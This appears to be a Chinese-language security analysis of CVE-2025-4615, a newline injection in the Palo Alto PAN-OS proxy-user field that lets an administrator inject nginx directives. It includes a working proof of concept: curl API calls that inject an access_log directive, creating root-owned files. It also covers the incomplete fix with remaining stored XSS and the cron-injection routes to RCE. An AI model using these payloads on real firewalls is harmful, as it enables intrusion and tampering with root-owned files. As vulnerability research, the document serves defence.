漏洞类型: PAN-OS 管理 Web 界面中的输入中和不当
厂商公告: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9(中危)—— 完整性:高,可用性:高
CWE: CWE-83(Web 页面中属性内脚本的中和不当)
CAPEC: CAPEC-165(文件操纵)
致谢: Visa Inc.
分析日期: 2026-03-26
CVE-2025-4615 是 Palo Alto Networks PAN-OS 中 secure-proxy-user 配置字段的一个换行符注入漏洞。经过身份验证的管理员可以通过 XML API 或 Web 界面将换行符(\n)注入代理用户名。在提交(commit)期间,该值会被未经净化地写入 /etc/nginx/nginx.conf,从而逃逸出注释行并注入任意 nginx 指令。
影响:
access_log 指令以 root 权限任意创建/写入文件注意: 厂商的修复(去除换行符)不完整 —— 由于没有应用输出编码或字符白名单,同一字段仍然存在**存储型跨站脚本(XSS)**漏洞。
secure-proxy-user 字段在 PAN-OS 模式(schema.xml)中定义为普通字符串,且没有任何输入净化:
<element name="secure-proxy-user" optional="yes" type="string"
help-string="Secure Proxy user name to use"/>
注意:secure-proxy-server 具有正则表达式约束(regex="^([0-9a-zA-Z.:/_-])+$"),但 secure-proxy-user 没有任何约束。虽然存在 31 个字符的长度限制,但没有字符限制。
在提交期间,PAN-OS 会根据模板(/etc/nginx/nginx.conf.tmpl)重新生成 /etc/nginx/nginx.conf。该模板包含:
#pan_proxy_comment %s
%s 占位符由 libpanmp_mp.so 库中的函数填充,该函数将代理服务器、用户名和加密密码连接成单个字符串。在存在漏洞的版本上,用户名中的换行符会被原样传递。
当 secure-proxy-user 包含 a\naccess_log /tmp/pwn3;\n# 时,生成的 nginx.conf 变为:
#pan_proxy_comment 8.8.8.9 a — Comment (harmless)
access_log /tmp/pwn3; — INJECTED DIRECTIVE (executed by nginx!)
# -AQ==encrypted_password== — Password commented out by injected #
第 1 行是注释。第 2 行是位于 http 块级别的有效 nginx 指令。第 3 行被攻击者注入的 # 字符中和。
nginx 主进程以 root 身份运行。access_log 指令会使 nginx 以 root 身份打开/创建目标文件。这可以实现:
在已修复版本(11.1.13)上,配置写入器会在将代理用户名写入 nginx.conf 之前去除换行符。相同的恶意值会产生:
#pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==
所有内容都保持在同一行,安全地位于 # 注释之内。
然而,此修复并不完整。 它只解决了换行符注入问题。secure-proxy-user 字段仍然接受任意字符(包括 "、<、>)且没有输出编码,使存储型 XSS 攻击向量完全敞开。参见 unit-43-xss。
secure-proxy-server(代理注释出现所必需)curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"
# Payload: "a\naccess_log /tmp/pwn3;\n#"
# Total: 26 characters (within 31-char limit)
# Injects: access_log /tmp/pwn3; — creates /tmp/pwn3 as root
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"
提交完成后(约 30 秒):
/tmp/pwn3 已创建,属主为 rootnginx -t -c /etc/nginx/nginx.conf 报告:syntax is ok未净化的 secure-proxy-user 值会传播到多个文件:
即使是在存在漏洞的版本上,curlrc(/root/.curlrc)和 wgetrc(/root/.wgetrc)写入器确实会去除换行符。nginx.conf 写入器是唯一未进行净化的路径。
对 11 个攻击向量的大量测试证实,在运行 nginx 1.20.1 的 PAN-OS 11.1.6-h7 上,仅凭 CVE-2025-4615 本身无法实现独立的操作系统级 RCE。三个关键的阻碍因素:
\x0A 转义 —— 阻止将原始换行符注入日志文件,从而阻断 cron 注入,尽管 vixie-cron 能够容忍垃圾行(实验室已确认:cron 确实会执行被垃圾行包围的有效行)log_format + access_log 来获得对所写入文件的内容控制公告中的“执行任意命令”很可能指的是任意 nginx 指令,而非操作系统级别的命令执行。这与 CVSS 的 VC:N(无机密性影响)以及修复的性质一致。
如果三个阻碍因素中缺少任何一个,通过 cron 注入即可轻松实现 RCE。
分析在隔离的实验室环境中进行,使用 PAN-OS 11.1.6-h7(存在漏洞)和 PAN-OS 11.1.13(已修复)。
| 文件 | 影响 |
|---|
/etc/nginx/nginx.conf | 严重 —— nginx 指令注入 |
/opt/pancfg/tmp/.tdb_conf.xml | 模板数据库配置(XML 注入) |
/opt/pancfg/mgmt/audit/cfg-audit.xml,v | 审计日志损坏 |
/opt/pancfg/mgmt/replaydb/replay.db | 重放数据库损坏 |
| XSL 生成的守护进程配置(authd、cord、useridd 等) | XML 值保留换行符 |